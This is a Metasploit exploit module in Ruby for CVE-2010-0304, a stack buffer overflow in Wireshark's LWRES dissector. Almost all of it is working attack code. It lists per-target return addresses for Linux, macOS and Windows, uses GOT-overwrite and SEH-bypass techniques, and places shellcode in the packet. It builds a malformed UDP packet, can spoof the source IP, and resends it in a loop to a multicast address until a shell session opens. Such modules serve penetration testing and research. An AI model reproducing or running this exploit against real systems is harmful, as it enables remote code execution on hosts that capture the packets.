Wireshark – LWRES Dissector getaddrsbyname_request Buffer Overflow (Loop) (Metasploit)
## # $Id: wireshark_lwres_getaddrbyname_loop.rb 11126 2010-11-24 19:25:18Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'racket' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::Seh include Msf::Exploit::Capture def initialize(info = {}) super(update_info(info, 'Name' => 'Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow (loop)', 'Description' => %q{ The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through 1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer overflow. This bug found and reported by babi. This particular exploit targets the dissect_getaddrsbyname_request function. Several other functions also contain potentially exploitable stack-based buffer overflows. The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents exploitation via the return address on the stack. Sending a larger string allows exploitation using the SEH bypass method. However, this packet will usually get fragmented, which may cause additional complications. NOTE: The vulnerable code is reached only when the packet dissection is rendered. If the packet is fragmented, all fragments must be captured and reassembled to exploit this issue. This version loops, sending the packet every X seconds until the job is killed. }, 'Author' => [ 'babi', # original discovery/exploit 'jduck', # ported from public exploit 'redsand' # windows target/testing ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11126 $', 'References' => [ [ 'CVE', '2010-0304' ], [ 'OSVDB', '61987' ], [ 'BID', '37985' ], [ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2010-02.html' ], [ 'URL', 'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => true, # at least capture privilege 'Payload' => { 'Space' => 512, 'BadChars' => "\x00", 'DisableNops' => true, }, 'DefaultTarget' => 4, 'Targets' => [ [ 'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)', # breakpoint: lwres.so + 0x2ce2 { 'Arch' => ARCH_X86, 'Platform' => 'linux', # conveniently, edx pointed at our string.. # and so, we write it to g_slist_append's GOT entry just before its called. # pwnt. # # mov [ebx+0xc],edx / jmp 0x804fc40 --> # mov [esp+4],eax / mov eax,[edi+8] / mov [esp],eax / call g_slist_append # 'Ret' => 0x804fc85, # see above.. 'RetOff' => 376, 'Readable' => 0x804fa04, # just anything 'GotAddr' => 0x080709c8 # objdump -R tshark | grep g_slist_append } ], [ 'wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'linux', # the method for tshark doesn't work, since there aren't any convenient # pointers lying around (in reg/close on stack) # # since the wireshark bin has a jmp esp, we'll just use that method.. 'Ret' => 0x818fce8, # jmp esp in wireshark bin 'RetOff' => 376, 'Readable' => 0x8066a40, # just any old readable addr (unused) 'GotAddr' => 0x818601c # objdump -R wireshark | grep g_slist_append (unused) } ], [ 'wireshark 1.2.5 on RHEL 5.4 (x64)', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux', 'Ret' => 0xfeedfed5deadbeef, 'RetOff' => 152, } ], [ 'wireshark 1.2.5 on Mac OS X 10.5 (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'osx', 'Ret' => 0xdeadbeef, 'RetOff' => 268, } ], # The following target was tested against Windows XP SP3 and Windows Vista [ 'wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'win', # NOTE: due to the length of this packet, your mileage may vary. 'Ret' => 0x61B4121B, # 0x655810b6 = pop/pop/ret in libpango # 0x02A110B6 = pop/pop/ret in libgtk-w # 0x03D710CC = pop/mov/pop/ret in packet # 0x61B4121B = pop/pop/ret in pcre3 'RetOff' => 2128, } ], ], 'DisclosureDate' => 'Jan 27 2010', # Set it to passive mode to background it. 'Stance' => Msf::Exploit::Stance::Passive)) register_options([ Opt::RPORT(921), Opt::RHOST("239.255.255.250"), OptAddress.new( 'SHOST', [false, 'This option can be used to specify a spoofed source address', nil]), OptInt.new( 'DELAY', [true, 'This option sets the delay between sent packets', 5]) ], self.class) register_advanced_options([ OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]) ], self.class) deregister_options('FILTER','PCAPFILE') end def exploit ret_offset = target['RetOff'] # we have different techniques depending on the target if (target == targets[0]) # debian tshark str = make_nops(ret_offset - payload.encoded.length - 16) str << payload.encoded str << [target['GotAddr'] - 0xc].pack('V') str << rand_text(4) str << [target['Readable']].pack('V') str << rand_text(4) # ret is next elsif (target == targets[1]) fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-3500").encode_string str = make_nops(ret_offset - fix_esp.length - payload.encoded.length) str << fix_esp str << payload.encoded # jmp esp... str << [target.ret].pack('V') # jump back distance = ret_offset + 4 str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string elsif (target == targets[4]) # ugh, /GS and UDP length issues :-/ str = make_nops(ret_offset - payload.encoded.length) str << payload.encoded str << generate_seh_record(target.ret) # jump back distance = ret_offset + 8 str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string else # this is just a simple DoS payload str = Rex::Text.pattern_create(ret_offset) #str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string end # add return address #XXX: this isn't working? #str << Rex::Arch.pack_addr(target.arch, target.ret) str << [target.ret].pack('V') # form the packet's payload! sploit = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01" sploit << "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x01" sploit << [str.length].pack('n') sploit << str sploit << "\x00\x00" shost = datastore['SHOST'] if (shost) print_status("Sending malformed LWRES packet to #{rhost} (spoofed from #{shost})") open_pcap n = Racket::Racket.new n.l3 = Racket::L3::IPv4.new n.l3.src_ip = datastore['SHOST'] || Rex::Socket.source_address(rhost) n.l3.dst_ip = rhost n.l3.protocol = 6 n.l3.id = rand(0x10000) n.l3.ttl = 64 n.l4 = Racket::L4::UDP.new n.l4.src_port = rand((2**16)-1024)+1024 n.l4.dst_port = datastore['RPORT'].to_i n.l4.payload = sploit n.l4.fix!(n.l3.src_ip, n.l3.dst_ip) pkt = n.pack while true break if session_created? and datastore['ExitOnSession'] capture_sendto(pkt, rhost) select(nil,nil,nil,datastore['DELAY']) end close_pcap handler else print_status("Sending malformed LWRES packet to #{rhost} every #{datastore['DELAY']} seconds.") handler while true break if session_created? and datastore['ExitOnSession'] connect_udp udp_sock.put(sploit) disconnect_udp select(nil,nil,nil,datastore['DELAY']) end end end end |